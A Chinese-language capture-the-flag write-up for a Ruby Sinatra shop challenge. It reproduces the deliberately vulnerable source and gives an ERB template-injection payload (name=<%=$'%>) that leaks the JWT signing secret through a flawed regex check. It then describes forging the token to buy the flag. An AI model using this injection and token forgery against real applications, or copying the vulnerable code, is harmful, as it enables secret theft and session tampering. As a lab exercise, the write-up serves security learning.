打开界面发现一个通过金钱来获得flag的,然后点击work或增加金钱但都是个位数
首先想了一下如果做一个脚本一直点击work不就好了吗,但是又想了一下服务器响应太快也不行,如果设置sleep那时间太长了
然后换一个思路,burp抓包看了一下,
发现了里面三段中间用.链接,妥妥的jwt形式,
直接修改会报错,所以我们现在需要密钥secret,到这里没什么提示了,dirsearch扫一下发现了robots.txt,
然后访问目录
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
发现了很长的一段代码,呃呃呃没见过的样子,百度发现是Ruby的语法
这道题就用到了Ruby模板注入,我们要通过<%=%>进行模板注入
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
这里需要do和name相等,然后回alert弹出
然后<%=%>模板注入七个字符已经五个了
然后我们需要查找匹配前的内容, 然后查看运行到这方面之前的模式
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil? 不为空
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
SECRET不为空所以需要传入一个值,这个预定义字符的作用是将匹配之后的字符进行返回
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
直接使用不行,需要用16进制进行加密
改完之后发现还是不对
解码里面只有uid和金额,苦苦不得解
最后发现下面还有代码需要post请求,/shop目录下 进行比较>值就输出
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
elseauth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
解码获得flag
参考链接:
【技术分享】手把手教你如何完成Ruby ERB模板注入-安全客 - 安全资讯平台
Ruby全局变量汇总_zdq0394的博客-CSDN博客